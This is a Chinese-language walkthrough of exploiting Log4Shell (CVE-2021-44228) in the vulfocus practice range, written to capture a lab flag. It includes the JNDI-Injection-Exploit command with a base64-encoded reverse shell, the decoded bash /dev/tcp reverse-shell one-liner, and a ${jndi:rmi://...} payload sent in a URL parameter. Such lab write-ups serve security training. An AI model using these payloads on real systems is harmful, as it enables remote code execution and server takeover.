一、原理介绍
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
二、vulfocus靶场安装
- docker pull vulfocus/vulfocus:latest
- docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.137.11 vulfocus/vulfocus
启动docker-compose up -d
启动vulfocus
192.168.137.11 用户名admin 密码admin
三、vulfocus靶场启动log4j2场景
1、下载log4j2镜像
注:需要在镜像管理进行添加CVE-2021-44228 log4j2
2、然后启动该log4j2容器
3、启动之后访问该地址
访问地址:192.168.137.11:44157
四、利用攻击机kali(ip为192.168.137.137) 开始nc监听7777端口
在进行漏洞注入之前,需要准备下载一些组件JNDI、maven。
在github上下载jar包,压缩包解压放到攻击机kail上。
接着下载maven组件,apt-get install maven 安装maven,相当于编译器,编码JDNI里的jar包
下载好的JNDI组件,并进入dndi子目录,使用mven将JDNI编译jar包
五、切换到jndi目录下的target子目录下。利用jndi注入工具在攻击机上开启jndi服务器。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.137.137
这个安装在kali上面的jndi服务器是利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来启动起来的,启动参数包括-C是执行的bash命令,-c参数后面是执行的具体命令,用双引号引起来 -A 指服务器的IP。
注:已经把反弹shell命令用base64编码啦
bash -i >& /dev/tcp/192.168.137.137/7777 0>&1
执行命令之后 生成可用payload
六、利用payload开始攻击,获得反弹shell
利用生成的第一个payload
访问网址 出现ok
192.168.137.11:44157/hello?payload=$%7bjndi:rmi://192.168.137.137:1099/gquwrn%7d
监听界面出现如下提示表明获得反弹shell
七、成功获取flag值,提交flag值。
八、来到vulfoucs平台首页,在log4j2-CVE-2021-44228提交所得的flag。